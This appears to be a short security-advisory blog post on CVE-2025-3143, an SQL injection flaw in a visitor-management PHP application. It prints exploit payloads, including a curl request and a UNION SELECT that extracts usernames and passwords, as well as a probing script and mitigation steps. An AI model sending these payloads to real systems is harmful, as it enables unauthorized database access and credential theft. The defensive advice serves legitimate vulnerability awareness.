SourceCodester Apartment Visitor Management System 10, SQL Injection, CVE-2025-3143 (Critical)

Listen to this Post

How the CVE Works:

CVE-2025-3143 is a critical SQL injection vulnerability in SourceCodester Apartment Visitor Management System 1.0, specifically in the `/visitor-entry.php` file. The flaw arises due to improper sanitization of user-supplied input in the `visname` and `address` parameters. Attackers can inject malicious SQL queries through these fields, manipulating database operations. The vulnerability is remotely exploitable, enabling unauthorized access, data exfiltration, or system compromise. The public disclosure of the exploit increases the risk of widespread attacks.

DailyCVE Form:

Platform: SourceCodester
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/14/2025

What Undercode Say:

Analytics:

  • Attack Vector: Remote (HTTP)
  • Exploit Complexity: Low
  • Impact: Data Confidentiality/Integrity Loss

Exploit Commands:

curl -X POST "http://target.com/visitor-entry.php" -d "visname=' OR 1=1--&address=test"
' UNION SELECT username, password FROM users--

Protection Commands:

// Input sanitization example
$visname = mysqli_real_escape_string($conn, $_POST['visname']);
WAF rule to block SQLi patterns
location ~ (\'|\"|%27|%22) { deny all; }

Mitigation Steps:

1. Patch with vendor updates.

2. Implement prepared statements:

$stmt = $conn->prepare("INSERT INTO visitors (visname, address) VALUES (?, ?)");
$stmt->bind_param("ss", $visname, $address);

3. Deploy a web application firewall (WAF).

4. Disable error reporting in production.

Detection Script:

import requests
payload = "' OR '1'='1"
response = requests.post("http://target.com/visitor-entry.php", data={"visname": payload})
if "error in SQL syntax" in response.text:
print("Vulnerable to SQLi")

Log Analysis:

grep "visitor-entry.php" /var/log/apache2/access.log | grep -E "(\'|\")"

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top